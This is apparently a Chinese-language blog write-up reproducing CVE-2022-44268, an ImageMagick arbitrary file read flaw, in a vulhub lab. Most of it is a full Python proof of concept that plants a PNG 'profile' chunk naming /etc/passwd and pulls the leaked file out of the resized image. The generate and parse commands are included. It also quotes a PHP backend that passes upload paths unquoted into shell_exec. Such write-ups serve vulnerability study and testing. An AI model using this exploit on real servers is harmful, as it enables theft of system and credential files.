0x00 前提 前几天爆出一个 ImageMagick 漏洞 ,可以造成一个任意文件读取的危害比较可观,最近有时间来复现学习一下
主要是影响的范围很大,很多地方都有这个问题,需要来学习一下
0x01 介绍 ImageMagick  是一个免费的开源软件套件,用于显示、转换和编辑图像文件。它可以读取和写入 200 多种图像文件格式,因此在全球网站中找到它是很常见的,因为总是需要处理用户个人资料、目录等的图片。
在ImageMagick 7.1.0-51版本及以前
CVE-2022-44268:ImageMagick 7.1.0-49 容易受到信息泄露的攻击。当它解析PNG图像(例如,调整大小)时,生成的图像可能嵌入了任意远程文件的内容(如果ImageMagick二进制文件有权读取它)。
0x02 漏洞介绍 CVE-2022-44268:任意远程泄露 当 ImageMagick 解析 PNG 文件时,例如在调整大小操作中,生成的图像可能嵌入了来自网站的任意远程文件的内容(如果 magick 二进制文件有权读取它)。
恶意行为者可以制作 PNG 或使用现有 PNG 并添加文本块类型(例如 tEXt)。这些类型具有关键字和文本字符串。如果关键字是字符串“profile”(不带引号),则 ImageMagick 会将文本字符串解释为文件名,并将内容加载为原始配置文件,然后攻击者可以下载随远程文件内容一起提供的调整大小的图像。
0x03 漏洞环境 问就是直接使用P牛的vulhub的环境,很方便。
执行如下命令启动一个Web服务器
 
访问http://127.0.0.1:8080可以看到图片上传框
[后端服务]https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/index.php 
(直接看github即可)
功能是将用户上传的任意图片缩小成50x50的PNG图片。
1 2 $newname = uniqid() . '.png'; shell_exec("convert -resize 50x50 {$_FILES['file_upload']['tmp_name']} ./{$newname}"); 
 
0x04 漏洞复现 利用这个漏洞,需要先准备一个恶意PNG文件,文件内容中包含我们准备读取的文件路径:
可以使用poc.py来生成这个图片:
1 ./poc.py generate -o poc.png -r /etc/passwd 
 
https://github.com/vulhub/vulhub/blob/master/imagemagick/CVE-2022-44268/poc.py 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import  sysimport  pngimport  zlibimport  argparseimport  binasciiimport  logginglogging.basicConfig(stream=sys.stderr, level=logging.INFO, format ='%(asctime)s - %(levelname)s - %(message)s' ) d = zlib.decompressobj() e = zlib.compressobj() IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'  IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9'  \        b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0'  \        b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'  def  parse_data (data: bytes  ) -> str :    _, data = data.strip().split(b'\n' , 1 )     return  binascii.unhexlify(data.replace(b'\n' , b'' )).decode() def  read (filename: str  ):    if  not  filename:         logging.error('you must specify a input filename' )         return      res = ''      p = png.Reader(filename=filename)     for  k, v in  p.chunks():         logging.info("chunk %s found, value = %r" , k.decode(), v)         if  k == b'zTXt' :             name, data = v.split(b'\x00' , 1 )             res = parse_data(d.decompress(data[1 :]))     if  res:         sys.stdout.write(res)         sys.stdout.flush() def  write (from_filename, to_filename, read_filename ):    if  not  to_filename:         logging.error('you must specify a output filename' )         return      with  open (to_filename, 'wb' ) as  f:         f.write(png.signature)         if  from_filename:             p = png.Reader(filename=from_filename)             for  k, v in  p.chunks():                 if  k != b'IEND' :                     png.write_chunk(f, k, v)         else :             png.write_chunk(f, b'IHDR' , IHDR)             png.write_chunk(f, b'IDAT' , IDAT)         png.write_chunk(f, b"tEXt" , b"profile\x00"  + read_filename.encode())         png.write_chunk(f, b'IEND' , b'' ) def  main ():    parser = argparse.ArgumentParser(description='POC for CVE-2022-44268' )     parser.add_argument('action' , type =str , choices=('generate' , 'parse' ))     parser.add_argument('-i' , '--input' , type =str , help ='input filename' )     parser.add_argument('-o' , '--output' , type =str , help ='output filename' )     parser.add_argument('-r' , '--read' , type =str , help ='target file to read' , default='/etc/passwd' )     args = parser.parse_args()     if  args.action == 'generate' :         write(args.input , args.output, args.read)     elif  args.action == 'parse' :         read(args.input )     else :         logging.error("bad action" ) if  __name__ == '__main__' :    main() 
 
执行poc.py前请安装PyPNG :pip install pypng
 
上传的时候可以看到多出来一个Payload profile=/etc/passwd
上传成功,处理完之后,从网页上把我们的图片下载下来
使用poc.py提取出其中所有内容:
1 ./poc.py parse -i out.png 
 
可以看到,已经提取出/etc/passwd文件的内容,这部分内容是由ImageMagick在处理旧图片时读取并写入到新图片中。
0x05 总结 这个漏洞其实挺底层的,很多地方会使用,测试需要注意此类功能。